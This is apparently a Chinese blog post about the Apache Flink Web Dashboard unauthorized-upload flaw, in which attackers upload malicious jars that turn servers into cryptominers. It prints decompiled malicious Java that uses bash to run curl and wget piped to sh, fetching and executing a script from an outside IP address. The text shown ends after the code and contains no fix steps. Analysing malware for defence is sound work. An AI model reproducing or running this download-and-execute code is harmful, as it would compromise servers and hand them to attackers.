【漏洞修复】修复 Apache Flink Web Dashboard 未授权访问致远程命令执行漏洞

_RobinWang

于 2020-01-15 17:02:29 发布

阅读量8.7k

点赞数 1

分类专栏： Flink SQL 实战文章标签：安全安全漏洞 flink nginx

本文链接：https://blog.youkuaiyun.com/qq_35815527/article/details/103992736

版权

【漏洞修复】修复 Apache Flink Web Dashboard 未授权访问致远程命令执行漏洞

介绍

攻击者通过Flink Web Dashboard上传含有恶意代码的jar包进行攻击，中招会使服务器占满CPU沦为挖矿机，非常猖獗

通过反编译得到的恶意代码：

package com.example;

import java.io.IOException;

public class Main {
    public Main() {
    }

    public static void main(String[] var0) throws IOException {
        String var1 = "142.44.191.122/f.sh";
        String var2 = "curl " + var1 + "|sh";
        String[] var3 = new String[]{"/bin/bash", "-c", var2};
        Runtime.getRuntime().exec(var3);
        String var4 = "wget -q -O - " + var1 + "|sh";
        String[] var5 = new String[]{"/bin/bash", "-c", var4};
        Runtime.getRuntime().exec(var5);
    }
}